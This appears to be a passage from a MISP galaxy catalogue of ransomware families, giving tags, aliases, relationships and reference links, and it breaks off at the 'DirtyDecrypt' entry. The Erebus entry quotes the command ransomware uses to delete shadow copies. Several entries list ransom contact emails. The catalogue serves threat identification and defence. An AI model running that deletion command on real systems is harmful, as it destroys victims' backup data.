This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="JackPot Ransomware"
JackPot Ransomware is also known as:
-
Jack.Pot Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/jackpot-ransomware.html |
ONYX Ransomeware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Georgian ransomware
The tag is: misp-galaxy:ransomware="ONYX Ransomeware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/onyx-ransomware.html |
IFN643 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="IFN643 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/ifn643-ransomware.html |
Alcatraz Locker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Alcatraz Locker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/alcatraz-locker-ransomware.html |
Esmeralda Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Esmeralda Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/esmeralda-ransomware.html |
https://www.bleepingcomputer.com/forums/t/630835/esmeralda-ransomware/ |
EncrypTile Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="EncrypTile Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/encryptile-ransomware.html |
Fileice Ransomware Survey Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of how the hacker tricks the user using the survey method. https://1.bp.blogspot.com/-72ECd1vsUdE/WBMSzPQEgzI/AAAAAAAABzA/i8V-Kg8Gstcn_7-YZK__PDC2VgafWcfDgCLcB/s1600/survey-screen.png The hacker definatly has a sense of humor: https://1.bp.blogspot.com/-2AlvtcvdyUY/WBMVptG_V5I/AAAAAAAABzc/1KvAMeDmY2w9BN9vkqZO8LWkBu7T9mvDACLcB/s1600/ThxForYurTyme.JPG
The tag is: misp-galaxy:ransomware="Fileice Ransomware Survey Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/fileice-ransomware-survey.html |
CryptoWire Ransomeware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="CryptoWire Ransomeware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/cryptowire-ransomware.html |
Hucky Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on Locky
The tag is: misp-galaxy:ransomware="Hucky Ransomware"
Hucky Ransomware is also known as:
-
Hungarian Locky Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/hucky-ransomware-hungarian-locky.html |
https://blog.avast.com/hucky-ransomware-a-hungarian-locky-wannabe |
Winnix Cryptor Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Winnix Cryptor Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/winnix-cryptor-ransomware.html |
AngryDuck Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Demands 10 BTC
The tag is: misp-galaxy:ransomware="AngryDuck Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/angryduck-ransomware.html |
Lock93 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Lock93 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/lock93-ransomware.html |
https://twitter.com/malwrhunterteam/status/789882488365678592 |
ASN1 Encoder Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="ASN1 Encoder Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/asn1-encoder-ransomware.html |
https://malwarebreakdown.com/2017/03/02/rig-ek-at-92-53-105-43-drops-asn1-ransomware/ |
Click Me Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker tries to get the user to play a game and when the user clicks the button, there is no game, just 20 pictures in a .gif below: https://3.bp.blogspot.com/-1zgO3-bBazs/WAkPYqXuayI/AAAAAAAABxI/DO3vycRW-TozneSfRTdeKyXGNEtJSMehgCLcB/s1600/all-images.gif
The tag is: misp-galaxy:ransomware="Click Me Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/click-me-ransomware.html |
AiraCrop Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="AiraCrop Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html |
JapanLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Base64 encoding, ROT13, and top-bottom swapping
The tag is: misp-galaxy:ransomware="JapanLocker Ransomware"
JapanLocker Ransomware is also known as:
-
SHC Ransomware
-
SHCLocker
-
SyNcryption
Anubis Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. EDA2
The tag is: misp-galaxy:ransomware="Anubis Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/anubis-ransomware.html |
XTPLocker 5.0 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="XTPLocker 5.0 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/xtplocker-ransomware.html |
Exotic Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Also encrypts executables
The tag is: misp-galaxy:ransomware="Exotic Ransomware"
APT Ransomware v.2
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. NO POINT TO PAY THE RANSOM, THE FILES ARE COMPLETELY DESTROYED
The tag is: misp-galaxy:ransomware="APT Ransomware v.2"
Links |
https://id-ransomware.blogspot.co.il/2016/10/apt-ransomware-2.html |
Windows_Security Ransonware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Windows_Security Ransonware"
Windows_Security Ransonware is also known as:
-
WS Go Ransonware
-
Trojan.Encoder.6491
Windows_Security Ransonware has relationships with:
-
similar: misp-galaxy:ransomware="Encoder.xxxx" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/10/ws-go-ransonware.html |
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/apt-ransomware-v2 |
NCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="NCrypt Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/ncrypt-ransomware.html |
Venis Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. In devVenisRansom@protonmail.com
The tag is: misp-galaxy:ransomware="Venis Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/venis-ransomware.html |
Enigma 2 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Enigma 2 Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/enigma-2-ransomware.html |
Deadly Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. sample is set to encrypt only in 2017…
The tag is: misp-galaxy:ransomware="Deadly Ransomware"
Deadly Ransomware is also known as:
-
Deadly for a Good Purpose Ransomware
Links |
https://id-ransomware.blogspot.co.il/2016/10/deadly-ransomware.html |
https://twitter.com/malwrhunterteam/status/785533373007728640 |
Comrade Circle Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Comrade Circle Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/comrade-circle-ransomware.html |
Globe2 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Globe2 Ransomware"
Globe2 Ransomware is also known as:
-
Purge Ransomware
Globe2 Ransomware has relationships with:
-
similar: misp-galaxy:ransomware="Globe3 Ransomware" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.co.il/2016/10/globe2-ransomware.html |
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221 |
Kostya Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Kostya Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/kostya-ransomware.html |
Fs0ciety Locker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
The tag is: misp-galaxy:ransomware="Fs0ciety Locker Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/10/fs0ciety-locker-ransomware.html |
Erebus Ransomware
It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. After the files are decrypted, the shadow files are deleted using the following command: vssadmin.exe Delete Shadows /All /Quiet
The tag is: misp-galaxy:ransomware="Erebus Ransomware"
Links |
https://id-ransomware.blogspot.co.il/2016/09/erebus-ransomware.html |
WannaCry
According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in as many as 74 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S.
The tag is: misp-galaxy:ransomware="WannaCry"
WannaCry is also known as:
-
WannaCrypt
-
WannaCry
-
WanaCrypt0r
-
WCrypt
-
WCRY
WannaCry has relationships with:
-
similar: misp-galaxy:malpedia="WannaCryptor" with estimative-language:likelihood-probability="likely"
Links |
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 |
.CryptoHasYou.
Ransomware
The tag is: misp-galaxy:ransomware=".CryptoHasYou."
Links |
777
Ransomware
The tag is: misp-galaxy:ransomware="777"
777 is also known as:
-
Sevleg
Links |
7ev3n
Ransomware
The tag is: misp-galaxy:ransomware="7ev3n"
7ev3n is also known as:
-
7ev3n-HONE$T
7ev3n has relationships with:
-
similar: misp-galaxy:malpedia="7ev3n" with estimative-language:likelihood-probability="likely"
Links |
https://github.com/hasherezade/malware_analysis/tree/master/7ev3n |
https://www.youtube.com/watch?v=RDNbH5HDO1E&feature=youtu.be |
8lock8
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="8lock8"
Links |
http://www.bleepingcomputer.com/forums/t/614025/8lock8-help-support-topic-8lock8-read-ittxt/ |
AiraCrop
Ransomware related to TeamXRat
The tag is: misp-galaxy:ransomware="AiraCrop"
Links |
Al-Namrood
Ransomware
The tag is: misp-galaxy:ransomware="Al-Namrood"
Links |
ALFA Ransomware
Ransomware Made by creators of Cerber
The tag is: misp-galaxy:ransomware="ALFA Ransomware"
Links |
https://news.softpedia.com/news/cerber-devs-create-new-ransomware-called-alfa-506165.shtml |
Alma Ransomware
Ransomware
The tag is: misp-galaxy:ransomware="Alma Ransomware"
Alpha Ransomware
Ransomware
The tag is: misp-galaxy:ransomware="Alpha Ransomware"
Alpha Ransomware is also known as:
-
AlphaLocker
Alpha Ransomware has relationships with:
-
similar: misp-galaxy:malpedia="AlphaLocker" with estimative-language:likelihood-probability="likely"
Links |
http://download.bleepingcomputer.com/demonslay335/AlphaDecrypter.zip |
AMBA
Ransomware Websites only amba@riseup.net
The tag is: misp-galaxy:ransomware="AMBA"
Links |
AngleWare
Ransomware
The tag is: misp-galaxy:ransomware="AngleWare"
Links |
https://twitter.com/BleepinComputer/status/844531418474708993 |
Anony
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="Anony"
Anony is also known as:
-
ngocanh
Links |
Apocalypse
Ransomware decryptionservice@mail.ru recoveryhelp@bk.ru ransomware.attack@list.ru esmeraldaencryption@mail.ru dr.compress@bk.ru
The tag is: misp-galaxy:ransomware="Apocalypse"
Apocalypse is also known as:
-
Fabiansomeware
Apocalypse has relationships with:
-
similar: misp-galaxy:rat="Apocalypse" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"
Links |
ApocalypseVM
Ransomware Apocalypse ransomware version which uses VMprotect
The tag is: misp-galaxy:ransomware="ApocalypseVM"
Links |
AutoLocky
Ransomware
The tag is: misp-galaxy:ransomware="AutoLocky"
Links |
Aw3s0m3Sc0t7
Ransomware
The tag is: misp-galaxy:ransomware="Aw3s0m3Sc0t7"
Links |
BadBlock
Ransomware
The tag is: misp-galaxy:ransomware="BadBlock"
Links |
http://www.nyxbone.com/images/articulos/malware/badblock/5.png |
BaksoCrypt
Ransomware Based on my-Little-Ransomware
The tag is: misp-galaxy:ransomware="BaksoCrypt"
Links |
https://0xc1r3ng.wordpress.com/2016/06/24/bakso-crypt-simple-ransomware/ |
Bandarchor
Ransomware Files might be partially encrypted
The tag is: misp-galaxy:ransomware="Bandarchor"
Bandarchor is also known as:
-
Rakhni
Bandarchor has relationships with:
-
similar: misp-galaxy:ransomware="Rakhni" with estimative-language:likelihood-probability="likely"
Links |
https://reaqta.com/2016/03/bandarchor-ransomware-still-active/ |
Bart
Ransomware Possible affiliations with RockLoader, Locky and Dridex
The tag is: misp-galaxy:ransomware="Bart"
Bart is also known as:
-
BaCrypt
Bart has relationships with:
-
similar: misp-galaxy:malpedia="Bart" with estimative-language:likelihood-probability="likely"
Links |
http://phishme.com/rockloader-downloading-new-ransomware-bart/ |
BitCryptor
Ransomware Has a GUI. CryptoGraphic Locker family. Newer CoinVault variant.
The tag is: misp-galaxy:ransomware="BitCryptor"
Links |
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html |
BitStak
Ransomware
The tag is: misp-galaxy:ransomware="BitStak"
Links |
https://download.bleepingcomputer.com/demonslay335/BitStakDecrypter.zip |
https://id-ransomware.blogspot.com/2016/07/ransomware-007867.html |
BlackShades Crypter
Ransomware
The tag is: misp-galaxy:ransomware="BlackShades Crypter"
BlackShades Crypter is also known as:
-
SilentShade
Links |
https://id-ransomware.blogspot.com/2016/06/silentshade-ransomware-blackshades.html |
Blocatto
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="Blocatto"
Links |
Booyah
Ransomware EXE was replaced to neutralize threat
The tag is: misp-galaxy:ransomware="Booyah"
Booyah is also known as:
-
Salami
Booyah has relationships with:
-
similar: misp-galaxy:ransomware="MM Locker" with estimative-language:likelihood-probability="likely"
Brazilian
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="Brazilian"
Links |
http://www.nyxbone.com/images/articulos/malware/brazilianRansom/0.png |
Brazilian Globe
Ransomware
The tag is: misp-galaxy:ransomware="Brazilian Globe"
Links |
BTCWare Related to / new version of CryptXXX
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare Related to / new version of CryptXXX"
Links |
https://twitter.com/malwrhunterteam/status/845199679340011520 |
Bucbi
Ransomware no file name change, no extension
The tag is: misp-galaxy:ransomware="Bucbi"
Links |
https://id-ransomware.blogspot.com/2016/05/bucbi-ransomware.html |
BuyUnlockCode
Ransomware Does not delete Shadow Copies
The tag is: misp-galaxy:ransomware="BuyUnlockCode"
Links |
https://id-ransomware.blogspot.com/2016/05/buyunlockcode-ransomware-rsa-1024.html |
Central Security Treatment Organization
Ransomware
The tag is: misp-galaxy:ransomware="Central Security Treatment Organization"
Central Security Treatment Organization has relationships with:
-
similar: misp-galaxy:ransomware="CryLocker" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html |
Cerber
Ransomware
The tag is: misp-galaxy:ransomware="Cerber"
Cerber is also known as:
-
CRBR ENCRYPTOR
Cerber has relationships with:
-
similar: misp-galaxy:malpedia="Cerber" with estimative-language:likelihood-probability="likely"
Clock
Ransomware Does not encrypt anything
The tag is: misp-galaxy:ransomware="Clock"
Links |
CoinVault
Ransomware CryptoGraphic Locker family. Has a GUI. Do not confuse with CrypVault!
The tag is: misp-galaxy:ransomware="CoinVault"
Links |
https://id-ransomware.blogspot.com/2016/05/bitcryptor-ransomware-aes-256-1-btc.html |
Coverton
Ransomware
The tag is: misp-galaxy:ransomware="Coverton"
Links |
https://id-ransomware.blogspot.com/2016/04/coverton-ransomware.html |
CryFile
Ransomware
The tag is: misp-galaxy:ransomware="CryFile"
Links |
SHTODELATVAM.txt[SHTODELATVAM.txt] |
Instructionaga.txt[Instructionaga.txt] |
https://id-ransomware.blogspot.com/2016/06/cryfile-ransomware-100.html |
CryLocker
Ransomware Identifies victim locations w/Google Maps API
The tag is: misp-galaxy:ransomware="CryLocker"
CryLocker is also known as:
-
Cry
-
CSTO
-
Central Security Treatment Organization
CryLocker has relationships with:
-
similar: misp-galaxy:ransomware="Central Security Treatment Organization" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="CryLocker" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/09/cry-ransomware.html |
CrypMIC
Ransomware CryptXXX clone/spinoff
The tag is: misp-galaxy:ransomware="CrypMIC"
Links |
https://id-ransomware.blogspot.com/2016/07/crypmic-ransomware-aes-256.html |
Crypren
Ransomware
The tag is: misp-galaxy:ransomware="Crypren"
Links |
http://www.nyxbone.com/images/articulos/malware/crypren/0.png |
Crypt38
Ransomware
The tag is: misp-galaxy:ransomware="Crypt38"
Crypter
Ransomware Does not actually encrypt the files, but simply renames them
The tag is: misp-galaxy:ransomware="Crypter"
Links |
CryptFIle2
Ransomware
The tag is: misp-galaxy:ransomware="CryptFIle2"
Links |
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html |
CryptInfinite
Ransomware
The tag is: misp-galaxy:ransomware="CryptInfinite"
Links |
https://id-ransomware.blogspot.com/2016/06/cryptfile2-ransomware-rsa-email.html |
CryptoBit
Ransomware sekretzbel0ngt0us.KEY - do not confuse with CryptorBit.
The tag is: misp-galaxy:ransomware="CryptoBit"
CryptoBit has relationships with:
-
similar: misp-galaxy:ransomware="Mobef" with estimative-language:likelihood-probability="likely"
CryptoDefense
Ransomware no extension change
The tag is: misp-galaxy:ransomware="CryptoDefense"
Links |
https://id-ransomware.blogspot.com/2016/04/cryptodefense-ransomware.html |
CryptoFinancial
Ransomware
The tag is: misp-galaxy:ransomware="CryptoFinancial"
CryptoFinancial is also known as:
-
Ranscam
CryptoFinancial has relationships with:
-
similar: misp-galaxy:malpedia="Ranscam" with estimative-language:likelihood-probability="likely"
Links |
CryptoFortress
Ransomware Mimics Torrentlocker. Encrypts only 50% of each file up to 5 MB
The tag is: misp-galaxy:ransomware="CryptoFortress"
CryptoFortress has relationships with:
-
similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/05/cryptofortress-ransomware-aes-256-1.html |
CryptoGraphic Locker
Ransomware Has a GUI. Subvariants: CoinVault BitCryptor
The tag is: misp-galaxy:ransomware="CryptoGraphic Locker"
CryptoHost
Ransomware RAR’s victim’s files has a GUI
The tag is: misp-galaxy:ransomware="CryptoHost"
CryptoHost is also known as:
-
Manamecrypt
-
Telograph
-
ROI Locker
CryptoHost has relationships with:
-
similar: misp-galaxy:malpedia="ManameCrypt" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/04/cryptohost-ransomware.html |
CryptoJoker
Ransomware
The tag is: misp-galaxy:ransomware="CryptoJoker"
CryptoJoker has relationships with:
-
similar: misp-galaxy:ransomware="CryptoNar" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2017/07/cryptojoker-2017-ransomware.html |
CryptoLocker
Ransomware no longer relevant
The tag is: misp-galaxy:ransomware="CryptoLocker"
CryptoLocker has relationships with:
-
similar: misp-galaxy:malpedia="CryptoLocker" with estimative-language:likelihood-probability="likely"
Links |
https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/ |
CryptoLocker 1.0.0
Ransomware
The tag is: misp-galaxy:ransomware="CryptoLocker 1.0.0"
Links |
https://twitter.com/malwrhunterteam/status/839747940122001408 |
CryptoLocker 5.1
Ransomware
The tag is: misp-galaxy:ransomware="CryptoLocker 5.1"
Links |
https://twitter.com/malwrhunterteam/status/782890104947867649 |
CryptoMix
Ransomware
The tag is: misp-galaxy:ransomware="CryptoMix"
CryptoMix is also known as:
-
Zeta
CryptoMix has relationships with:
-
similar: misp-galaxy:malpedia="CryptoMix" with estimative-language:likelihood-probability="likely"
CryptoRansomeware
Ransomware
The tag is: misp-galaxy:ransomware="CryptoRansomeware"
CryptoRansomeware has relationships with:
-
similar: misp-galaxy:malpedia="CryptoRansomeware" with estimative-language:likelihood-probability="likely"
Links |
https://twitter.com/malwrhunterteam/status/817672617658347521 |
CryptoRoger
Ransomware
The tag is: misp-galaxy:ransomware="CryptoRoger"
Links |
https://id-ransomware.blogspot.com/2016/06/cryptoroger-aes-256-0.html |
CryptoShadow
Ransomware
The tag is: misp-galaxy:ransomware="CryptoShadow"
Links |
CryptoShocker
Ransomware
The tag is: misp-galaxy:ransomware="CryptoShocker"
Links |
https://id-ransomware.blogspot.com/2016/06/cryptoshocker-ransomware-aes-200.html |
CryptoTorLocker2015
Ransomware
The tag is: misp-galaxy:ransomware="CryptoTorLocker2015"
Links |
https://id-ransomware.blogspot.com/2016/04/cryptotorlocker-ransomware.html |
CryptoTrooper
Ransomware
The tag is: misp-galaxy:ransomware="CryptoTrooper"
Links |
CryptoWall 3
Ransomware
The tag is: misp-galaxy:ransomware="CryptoWall 3"
Links |
https://blogs.technet.microsoft.com/mmpc/2015/01/13/crowti-update-cryptowall-3-0/ |
CryptXXX
Ransomware Comes with Bedep
The tag is: misp-galaxy:ransomware="CryptXXX"
CryptXXX is also known as:
-
CryptProjectXXX
CryptXXX has relationships with:
-
similar: misp-galaxy:ransomware="CryptXXX 2.0" with estimative-language:likelihood-probability="likely"
Links |
http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information |
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html |
CryptXXX 2.0
Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.
The tag is: misp-galaxy:ransomware="CryptXXX 2.0"
CryptXXX 2.0 is also known as:
-
CryptProjectXXX
CryptXXX 2.0 has relationships with:
-
similar: misp-galaxy:ransomware="CryptXXX" with estimative-language:likelihood-probability="likely"
Links |
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive |
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html |
CryptXXX 3.0
Ransomware Comes with Bedep
The tag is: misp-galaxy:ransomware="CryptXXX 3.0"
CryptXXX 3.0 is also known as:
-
UltraDeCrypter
-
UltraCrypter
Links |
http://blogs.cisco.com/security/cryptxxx-technical-deep-dive |
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html |
CryptXXX 3.1
Ransomware StilerX credential stealing
The tag is: misp-galaxy:ransomware="CryptXXX 3.1"
Links |
https://id-ransomware.blogspot.com/2016/04/cryptxxx-ransomware.html |
CryPy
Ransomware
The tag is: misp-galaxy:ransomware="CryPy"
Links |
https://id-ransomware.blogspot.com/2016/09/crypy-ransomware.html |
CTB-Faker
Ransomware
The tag is: misp-galaxy:ransomware="CTB-Faker"
CTB-Faker is also known as:
-
Citroni
Links |
https://id-ransomware.blogspot.com/2016/07/ctb-faker-ransomware-008.html |
CTB-Locker WEB
Ransomware websites only
The tag is: misp-galaxy:ransomware="CTB-Locker WEB"
Links |
https://thisissecurity.net/2016/02/26/a-lockpicking-exercise/ |
https://id-ransomware.blogspot.com/2016/06/ctb-locker-for-websites-04.html |
CuteRansomware
Ransomware Based on my-Little-Ransomware
The tag is: misp-galaxy:ransomware="CuteRansomware"
CuteRansomware is also known as:
-
my-Little-Ransomware
Links |
https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool |
Cyber SpLiTTer Vbs
Ransomware Based on HiddenTear
The tag is: misp-galaxy:ransomware="Cyber SpLiTTer Vbs"
Cyber SpLiTTer Vbs is also known as:
-
CyberSplitter
Cyber SpLiTTer Vbs has relationships with:
-
similar: misp-galaxy:malpedia="CyberSplitter" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2016/09/cyber-splitter-vbs-ransomware.html |
Death Bitches
Ransomware
The tag is: misp-galaxy:ransomware="Death Bitches"
Links |
https://twitter.com/JaromirHorejsi/status/815555258478981121 |
DeCrypt Protect
Ransomware
The tag is: misp-galaxy:ransomware="DeCrypt Protect"
Links |
http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/ |
DEDCryptor
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="DEDCryptor"
Demo
Ransomware only encrypts .jpg files
The tag is: misp-galaxy:ransomware="Demo"
Links |
https://id-ransomware.blogspot.com/2017/10/cryptodemo-ransomware.html |
DetoxCrypto
Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte
The tag is: misp-galaxy:ransomware="DetoxCrypto"
Links |
https://id-ransomware.blogspot.com/2016/08/detoxcrypto-ransomware.html |
DirtyDecrypt
